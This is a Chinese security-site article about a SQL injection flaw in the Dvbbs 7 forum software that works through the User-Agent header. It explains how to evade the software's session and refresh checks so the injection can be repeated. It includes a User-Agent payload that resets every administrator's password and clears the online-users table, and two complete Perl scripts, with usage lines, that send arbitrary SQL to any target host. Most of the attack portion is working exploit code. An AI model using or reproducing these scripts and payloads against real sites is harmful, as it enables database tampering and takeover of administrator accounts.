|
<%=(int(rnd()*1)+1)%>您当前的位置:中国安全在线cnsafer.com 请进入[技术论坛]发表评论 阅读提示:
firstsee在《将dvbbs 送入地狱》一文中 第3点 防刷新问题的解决 中提到:“由于我们的访问程序会在Dv_online表中记录相应的访问数据,而只要这条数据存在的话就不会执行我们要跳转到可以注入的语句。因此只好等20分钟之后由于其他的用户访问而调用MyBoardOnline.OnlineQuery过程将超时用户访问记录(包括我们刚才的访问记录)删除之后才可以再次进行欺骗注入。否则的话只会让我们的访问最后时间更新为当前值,而对其它数据没有任何影响。
每两次欺骗注入之间的时间间隔要20分钟!那么如果要向数据库写入木马的话还不要等到头发也白了。您也许会说,我是拨号上网的,只要重新拨号不就行了吗?当然可以了,不过即使这样对于我们来说是一件很痛苦的事。
为了解决这个棘手的问题我们可以在修改数据库的同时将Dv_online表中的所有记录全部删除,这样不就可以进行连续注入了吗。调整以后的User-Agent的值为:
Mozilla/4.0 (compatible;M;M;M;','hacker',7,'',2) update Dv_User set UserPassword='123' where UserGroupID=1 delete from Dv_online—Netscape
不信你测试一下,不管你在注入前数据库内有多少的用户访问记录,只要能够成功的欺骗成功不仅会将所有的前台管理员密码进行修改,而且还会将所有的用户访问记录删除得干干净净。
哈哈,现在我们不就可以随心所欲了吗。”我觉得这里在理解上firstsee出了错误,文中提到的20分钟其实根本不是删除online表的时间,而且删除了online表,一样不能立即再注入(我已经测试过了),经过分析代码我发现,这个20分钟是session失效的时间,我们来看Dv_ClsMain.asp中的这段:
Class Cls_Browser Public Browser,version ,platform,IsSearch Private Sub Class_Initialize() Dim Agent,Tmpstr IsSearch = False If Not IsEmpty(Session("Cls_Browser")) Then Tmpstr = Split(Session("Cls_Browser"),"|||") Browser = Tmpstr(0) version = Tmpstr(1) platform = Tmpstr(2) If Tmpstr(3)="1" Then IsSearch = True End If Exit Sub End If
正因为Session("Cls_Browser")中保存了第一次注入的Browser数据,导致了我们执行到Insert Into [Dv_Online]这里的时候,执行的还是第一次注入的语句,只有等Session("Cls_Browser")失效,我们的第二个注入语句才能生效,有人会说了,我们直接用程序发包,不理会cokkie,不就新建立了一个session了么,不就可以直接执行Insert Into [Dv_Oline]这一句注入了么,但是请看Sub ActiveOnline()里边的代码:
SP2: If DateDiff("s",ReflashPageLastTime,Now()) < 120 And LastVisiBoardID = BoardID And Not InStr(ScriptName,"showerr")>0 Then Exit Sub
7.0 and SP1: If DateDiff("s",ReflashPageLastTime,Now()) < 120 And LastVisiBoardID = BoardID Then Exit Sub
经过我测试,第一次请求一个页面的时候,比如说请求list.asp?boardid=1吧,得到的LastVisiBoardID=1,BoardID=1,DateDiff("s",ReflashPageLastTime,Now())=0,对于sp2要想执行下去,我们只有请求showerr.asp,去看看showerr.asp代码,发现在:
Select Case action Case "OtherErr" Dvbbs.Stats=action&"-"&Template.Strings(0) Dvbbs.head() Dvbbs.showtoptable() Dvbbs.Head_var 0,"",Template.Strings(0),"" template.html(0)=Replace(template.html(0),"{$color}",Dvbbs.mainsetting(1)) template.html(0)=Replace(template.html(0),"{$errtitle}",Dvbbs.Forum_Info(0)&"-"&Dvbbs.Stats) template.html(0)=Replace(template.html(0),"{$action}","访问论坛") template.html(0)=Replace(template.html(0),"{$ErrCount}",1) template.html(0)=Replace(template.html(0),"{$ErrString}",Request("ErrCodes")) If Request("autoreload")=1 Then Response.Write "<meta http-equiv=refresh content=""2;URL="&Request.ServerVariables("HTTP_REFERER")&""">" End If Response.Write Template.html(0) If dvbbs.userid=0 Then Response.Write Template.html(1) End If Dvbbs.ActiveOnline() Dvbbs.footer()
Action=OtherErr的时候他调用了ActiveOnline()子程序,嘿嘿,来吧,我们用程序发包请求showerr.asp?BoardID=0&action=OtherErr页面,cookie设置为空,让他每次请求都建立新session,不过你可别忘了在user_agent里面加注入语句哦,:)
好了就到这里了,这下注入简单了吧,我写了个小程序来提交。原代码如下: ------------------------------------------------------------------ #!/usr/bin/perl #use IO::Socket; $| = 1; use Socket; $ARGC = @ARGV; print "\t* The script for dvbbs7 sp2 sql版 user_agent 注入 *\n"; print "\t* Code by xiaolu QQ:50446*\n"; if ($ARGC < 4) { print "\n用法:\ndv.exe 域名 bbs路径 sql语句 端口 \ndv.exe 666w.com /bbs/ \"update [dv_user] set username='feng'\" 80\n"; exit; } $host = @ARGV[0]; $way = @ARGV[1]; $way1 = @ARGV[2]; $port = @ARGV[3]; #$way1=~s/ / /g; print "\n\n开始在 $host 上进行测试,请等待......\n";
$req = "GET $way". "showerr.asp?BoardID=0&action=OtherErr HTTP/1.0\n". "Accept: */*\n". "Referer: $host\n". "Accept-Language: zh-cn\n". "User-Agent: Opera/100.0','主论坛',1,'1',0);$way1 delete from [Dv_online];-- (compatible; MSIE 4.0; Windows NT 5.0; Hotbar 4.4.6.0)\n". "Host: $host:$port\n". "Cookie: \n\n";
print $req; @res = sendraw($req); print "\n\ @res \n";
sub sendraw { my ($req) = @_; my $target; $target = inet_aton($host) || die("inet_aton problems\n"); socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || die("Socket problems\n"); if(connect(S,pack "SnA4x8",2,$port,$target)){ select(S); $| = 1; print $req; my @res = <S>; select(STDOUT); close(S); return @res; } else { die("Can't connect...\n"); } } ---------------------------------------------------------------- 对于sp1和7.0就没那么简单了,但是我们还是有办法,还是一样用程序请求页面不能使用浏览器(用浏览器Session("Cls_Browser")就保存了浏览器信息了),记着,第一次一定要把user_agent的注入写好,让他第一次就存在Session("Cls_Browser"),以便于我们第二次来执行他,cookie乱写或者为空算了,请求list.asp?boardid=1(这个页面要存在)提交抓包,或者把结果记录到文件,便于我们察看cookie,好了我们看到包里截取到两行set-cookie(或者更多),比如:
Set-Cookie: 10%2E0%2E0%2E8%2Fdv%2F=StatUserID=2321989; expires=Sat, 12-Jun-2004 23:25:18 GMT; path=/dv/ Set-Cookie: ASPSESSIONIDSQTSDABR=DKNDJAIBBLGCONMFJMFHGGOF; path=/
为了让StatUserID不在online数据库中存在(存在的话就会执行更新,而不执行注入语句),并且我们还要继承session,在第二次提交的时候,可以使DateDiff("s",ReflashPageLastTime,Now()) < 120 And LastVisiBoardID = BoardID 不成立,执行我们的注入语句,那就只使用这个cookie:
cookie: ASPSESSIONIDSQTSDABR=DKNDJAIBBLGCONMFJMFHGGOF; path=/
用程序来第二次请求页面,这样就继承session,user_agent现在其实已经不起作用(储存在了session中),请求什么页面呢?只要请求boardid不是1的版面比如list.asp?boardid=2(这个版面要存在)或者index.asp等等,OK, UserActiveOnline过程被执行了,由于StatUserID为空,他就会乖乖的执行我们存在session中的注入语句了,如果想执行下一条,就从头建立新session,然后抓包,和上边一样了,呵呵。
写了个小程序,把提交结果写在文件abc.txt里,察看cookie就方便多了。 --------------------------------------------------------------------------- #!/usr/bin/perl #use IO::Socket; $| = 1; use Socket; $ARGC = @ARGV; print "\t* The script for dvbbs7 sql版 user_agent 注入 *\n"; print "\t* Code by xiaolu QQ:50446*\n"; if ($ARGC < 5) { print "\n用法:\ndv.exe 域名 路径 sql语句 端口 Cookie\ndv.exe 666w.com /bbs/index.asp \"update [dv_user] set username='feng'\" 80 \"ASPSESSIONIDSQTSDABR=DKNDJAIBBLGCONMFJMFHGGOF; path=/\"\n"; exit; } $host = @ARGV[0]; $way = @ARGV[1]; $way1 = @ARGV[2]; $port = @ARGV[3]; $cookie = @ARGV[4];
print "\n\n开始在 $host 上进行测试,请等待......\n";
$req = "GET $way HTTP/1.0\n". "Accept: */*\n". "Referer: $host\n". "Accept-Language: zh-cn\n". "User-Agent:Mozilla/4.0 (compatible;M;M;M;','论坛首页',7,'',2) $way1--Netscape\n". "Host: $host:$port\n". "Cookie: $cookie\n\n"; print $req;
@res = sendraw($req); print "\n\ @res \n"; $filename="abc.txt"; open(file,">$filename")||die("不能打开文件$filename\n"); print file @res; close(file);
sub sendraw { my ($req) = @_; my $target; $target = inet_aton($host) || die("inet_aton problems\n"); socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || die("Socket problems\n"); if(connect(S,pack "SnA4x8",2,$port,$target)){ select(S); $| = 1; print $req; my @res = <S>; select(STDOUT); close(S); return @res; } else { die("Can't connect...\n"); } }
--------------------------------------------------------------------------
您对本文章有什么意见或着疑问吗?请到论坛讨论您的关注和建议是我们前行的参考和动力 |